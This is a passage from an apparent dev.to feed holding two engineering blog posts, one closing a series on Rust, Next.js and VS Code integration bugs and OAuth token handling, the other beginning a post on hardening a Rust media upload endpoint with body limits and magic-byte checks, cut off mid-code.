&lt;p&gt;The stack trace pointed to &lt;code&gt;check_mod_deathness&lt;/code&gt; — the compiler pass that finds dead (unused) code to issue &lt;code&gt;dead_code&lt;/code&gt; warnings.&lt;/p&gt;

&lt;p&gt;We had this struct:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;PublishResult&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;post_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We were producing &lt;code&gt;PublishResult&lt;/code&gt; values inside an iterator chain, but the &lt;code&gt;post_url&lt;/code&gt; field was never actually &lt;em&gt;consumed&lt;/em&gt; anywhere downstream. The dead-code analysis pass, when it encountered this specific pattern — an unused field inside a struct flowing through an iterator chain — hit an edge case and panicked internally.&lt;/p&gt;

&lt;p&gt;The compiler wasn't wrong to complain. We &lt;em&gt;were&lt;/em&gt; writing dead code. It just wasn't supposed to crash about it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fix
&lt;/h3&gt;

&lt;p&gt;The tempting shortcut was &lt;code&gt;#[allow(dead_code)]&lt;/code&gt;. That silences the warning without fixing anything.&lt;/p&gt;

&lt;p&gt;The right fix was to &lt;strong&gt;actually use the field&lt;/strong&gt;. We updated the scheduler to log published URLs on success — which made &lt;code&gt;post_url&lt;/code&gt; a live, consumed value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Actively consume post_url — turns dead code into observable telemetry&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;published_urls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;.filter_map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="nf"&gt;.as_ref&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.ok&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="nf"&gt;.filter_map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="py"&gt;.post_url&lt;/span&gt;
            &lt;span class="nf"&gt;.as_ref&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{:?}: {}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;published_urls&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;info!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;published_urls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"✅ Post published successfully"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By consuming the field, the dead-code analyzer had nothing to flag. We bypassed the compiler bug entirely — &lt;em&gt;and&lt;/em&gt; gained structured logs as a bonus.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; An ICE is the compiler's way of saying "this code revealed a bug in &lt;em&gt;me&lt;/em&gt;." But the underlying cause is almost always real dead code or a degenerate abstraction. Fix the dead code first — &lt;code&gt;#[allow(dead_code)]&lt;/code&gt; is a bandage, not a solution. You can also &lt;a href="https://github.com/rust-lang/rust/issues" rel="noopener noreferrer"&gt;report the ICE&lt;/a&gt; to help the Rust team fix the compiler bug itself.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🗑️ Bug #3 — The "Success" That Wiped Everything
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Setup
&lt;/h3&gt;

&lt;p&gt;With backend and network layers stable, we focused on UX polish inside the VS Code extension's webview. That's when users started reporting something maddening:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"I upload a cover image and my entire post — title, tags, content — disappears."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  The Investigation
&lt;/h3&gt;

&lt;p&gt;We traced it to a central &lt;code&gt;MessageHandler&lt;/code&gt; inside the webview that listened for backend status events:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ The bug: generic "success" = nuclear reset&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;status&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;success&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;resetAllComposers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Wipes title, tags, content, everything&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The logic made sense in isolation: a &lt;code&gt;success&lt;/code&gt; status meant a post had been published to the cloud, so clear the UI for the next post.&lt;/p&gt;

&lt;p&gt;The problem: &lt;strong&gt;uploading a cover image also emitted a &lt;code&gt;success&lt;/code&gt; status.&lt;/strong&gt; The event system didn't distinguish between:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ "Image uploaded successfully" (informational — keep the form)&lt;/li&gt;
&lt;li&gt;✅ "Post published successfully" (workflow complete — reset the form)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both were &lt;code&gt;{ type: 'success' }&lt;/code&gt;. The UI couldn't tell them apart, so it did what it was told: wiped everything.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fix
&lt;/h3&gt;

&lt;p&gt;We separated &lt;em&gt;informational success&lt;/em&gt; from &lt;em&gt;workflow completion&lt;/em&gt; at the message contract level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ✅ The fix: explicit, semantic events&lt;/span&gt;

&lt;span class="c1"&gt;// Generic status messages only control spinners and toast notifications&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;status&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;updateLoadingState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;showToast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Dedicated events for actual workflow transitions&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;shareComplete&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;resetMainComposer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;blogShareComplete&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;resetBlogComposer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The backend now emits &lt;code&gt;shareComplete&lt;/code&gt; or &lt;code&gt;blogShareComplete&lt;/code&gt; only when the final publishing transaction commits. Image uploads, connection checks, and other intermediate operations stay as &lt;code&gt;status&lt;/code&gt; events.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; Generic event types are a trap. When your event bus grows, &lt;code&gt;{ type: 'success' }&lt;/code&gt; is as meaningful as &lt;code&gt;{ type: 'thing happened' }&lt;/code&gt;. Name events after &lt;strong&gt;what specifically occurred&lt;/strong&gt; — not the sentiment of the outcome. &lt;code&gt;imageUploadComplete&lt;/code&gt; and &lt;code&gt;postPublished&lt;/code&gt; are unambiguous. &lt;code&gt;success&lt;/code&gt; is not.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🔐 Bug #4 — Bridging OAuth Across Three Services
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;This wasn't a crash — it was a &lt;strong&gt;design gap&lt;/strong&gt;. Our Next.js frontend handles OAuth handshakes with X, LinkedIn, and Dev.to. Our Rust backend needs those tokens to execute the scheduled posts. The VS Code extension needs to know &lt;em&gt;which platforms are connected&lt;/em&gt; to render the right UI buttons.&lt;/p&gt;

&lt;p&gt;Three services. One source of truth. Zero raw tokens exposed to the client.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Architecture
&lt;/h3&gt;

&lt;p&gt;We implemented a secure internal handshake with a strict data flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  1. User connects LinkedIn via Next.js OAuth flow           │
│                                                             │
│  2. Next.js → POST /v1/internal/credentials/sync (Rust)    │
│     Body: { user_id, platform, encrypted_token }            │
│     Auth: internal service secret (never client-exposed)    │
│                                                             │
│  3. Rust stores encrypted token, bound to user_id           │
│                                                             │
│  4. VS Code Extension → GET /v1/oauth/connections (Rust)   │
│     Response: { linkedin: true, x: false, devto: true }     │
│                    ↑                                         │
│              Boolean map only — no tokens, ever             │
│                                                             │
└─────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key security properties:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tokens never touch the VS Code client.&lt;/strong&gt; The extension only receives a boolean map of connected platforms.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The sync endpoint is internal-only.&lt;/strong&gt; Protected by a service secret, not a user JWT.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption at rest.&lt;/strong&gt; Tokens are encrypted before storage in Rust, so even a database breach doesn't expose raw credentials.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The VS Code extension UI reacts dynamically — scheduling buttons enable/disable based on the boolean map, with zero coupling to the underlying OAuth tokens:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Extension side — clean, no tokens in sight&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;connections&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ConnectionMap&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/v1/oauth/connections&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// { linkedin: true, x: false, devto: true }&lt;/span&gt;

&lt;span class="nf"&gt;setScheduleButtonEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;linkedin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;linkedin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setScheduleButtonEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;x&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setScheduleButtonEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;devto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;devto&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; When bridging auth across services, define &lt;strong&gt;exactly what each service needs to know&lt;/strong&gt; — and nothing more. The VS Code client doesn't need tokens; it needs a boolean. Expose the minimum necessary data at each boundary.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Wrapping Up: The Bugs Live at the Seams
&lt;/h2&gt;

&lt;p&gt;The individual stacks were each fine. Rust was fast and correct. Next.js was clean. The VS Code extension behaved exactly as expected in isolation.&lt;/p&gt;

&lt;p&gt;Every single bug in this post happened &lt;strong&gt;at a boundary&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Node.js streams meeting a Rust multipart parser&lt;/li&gt;
&lt;li&gt;A compiler analysis pass encountering dead code in an iterator chain&lt;/li&gt;
&lt;li&gt;A generic UI event system conflating two different kinds of success&lt;/li&gt;
&lt;li&gt;Three services needing to share auth state without sharing secrets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cross-stack integration isn't about making things &lt;em&gt;work&lt;/em&gt; — it's about making sure the assumptions baked into each ecosystem don't silently contradict each other. They will. Treat every boundary as a potential failure point, test each one in isolation before connecting them, and when something breaks, look at the &lt;strong&gt;interface&lt;/strong&gt; before blaming the implementation.&lt;/p&gt;

&lt;p&gt;That's how DotSuite went from a collection of three isolated services to one coherent, production-ready system.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This concludes the DotSuite Backend Architecture series. If you found this useful, the previous parts cover the concurrent cloud scheduler, the zero-trust media upload pipeline, and the OAuth flow in detail. Happy shipping.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>node</category>
      <category>architecture</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Securing DotShare 3.3: Inside the Rust Media API (Magic Bytes, Atomic Quotas, &amp; Race Fixes) - Part 3</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Wed, 27 May 2026 10:14:16 +0000</pubDate>
      <link>https://dev.to/freerave/i-hardened-a-rust-media-upload-api-with-magic-bytes-atomic-quotas-and-race-condition-fixes-part-5hi4</link>
      <guid>https://dev.to/freerave/i-hardened-a-rust-media-upload-api-with-magic-bytes-atomic-quotas-and-race-condition-fixes-part-5hi4</guid>
      <description>&lt;h2&gt;
  
  
  How we built a production-grade Cloudflare R2 upload pipeline in Rust — with layered security, an atomic quota system, and a zero-trust file validation strategy.
&lt;/h2&gt;

&lt;p&gt;In &lt;a href="https://dev.to/freerave/i-built-a-fail-fast-rust-scheduler-with-background-oauth-auto-refresh-part-2-314b"&gt;Part 2 of this series&lt;/a&gt;, we enforced &lt;strong&gt;Strict Separation&lt;/strong&gt; and &lt;strong&gt;Fail-Fast&lt;/strong&gt; validation to prevent silent scheduling failures and auto-refresh OAuth tokens in the background.&lt;/p&gt;

&lt;p&gt;But our users still needed to attach images to their scheduled posts. And the moment you let users upload files to your server, you inherit one of the hardest problems in backend security: &lt;strong&gt;you can never trust what a user sends you.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is a deep dive into how we built the &lt;code&gt;POST /v1/media/upload&lt;/code&gt; endpoint in Rust — with layered file validation, Cloudflare R2 storage, and an atomic quota system that closes a subtle but critical race condition.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem: File Uploads Are a Security Minefield
&lt;/h2&gt;

&lt;p&gt;Allowing file uploads without proper validation is one of the most common vectors for server compromise. The naive approach — checking the file extension or trusting the &lt;code&gt;Content-Type&lt;/code&gt; header — is dangerously insufficient.&lt;/p&gt;

&lt;p&gt;A malicious user can trivially rename &lt;code&gt;exploit.php&lt;/code&gt; to &lt;code&gt;photo.jpg&lt;/code&gt; and send it with &lt;code&gt;Content-Type: image/jpeg&lt;/code&gt;. A server that trusts that header will store an executable PHP file in what it thinks is an image directory.&lt;/p&gt;

&lt;p&gt;We needed a &lt;strong&gt;Zero-Trust&lt;/strong&gt; validation pipeline. The rule: &lt;strong&gt;don't believe anything the client tells you. Verify everything from the raw binary.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 1: Authentication &amp;amp; Body Size at the Router
&lt;/h2&gt;

&lt;p&gt;Before a single byte of the file payload is even parsed, two guards run at the Axum router level.&lt;/p&gt;

&lt;p&gt;The first is our existing Bearer JWT middleware — no valid token, no entry. The second is a global body size limit declared on the router itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/main.rs&lt;/span&gt;

&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;axum&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;extract&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;DefaultBodyLimit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Router&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/v1/media/upload"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;routes&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;media&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;upload_media&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;// ... other routes ...&lt;/span&gt;
    &lt;span class="nf"&gt;.layer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;DefaultBodyLimit&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// 10 MB hard cap&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This &lt;code&gt;DefaultBodyLimit&lt;/code&gt; layer rejects oversized requests at the framework level — before our handler allocates any memory for the file. It is the outermost wall.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 2: Magic Bytes Validation (Zero-Trust File Identity)
&lt;/h2&gt;

&lt;p&gt;Inside the handler, we apply a second, stricter file size check (5 MB) and then the core of our zero-trust strategy: &lt;strong&gt;magic bytes validation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Every legitimate image file format begins with a known binary signature, called a "magic number," embedded in the first few bytes of the file. JPEG files always start with &lt;code&gt;FF D8 FF&lt;/code&gt;. PNG files always start with &lt;code&gt;89 50 4E 47&lt;/code&gt;. These cannot be faked without corrupting the file.&lt;/p&gt;

&lt;p&gt;Here is our implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/routes/media.rs&lt;/span&gt;

&lt;span class="c1"&gt;// Allowed MIME types and their corresponding magic bytes&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;ALLOWED_TYPES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"image/jpeg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xd8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="s"&gt;"jpg"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"image/png"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0x89&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x4e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x47&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="s"&gt;"png"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"image/webp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0x52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x46&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="s"&gt;"webp"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="c1"&gt;// RIFF header&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"image/gif"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0x47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="s"&gt;"gif"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
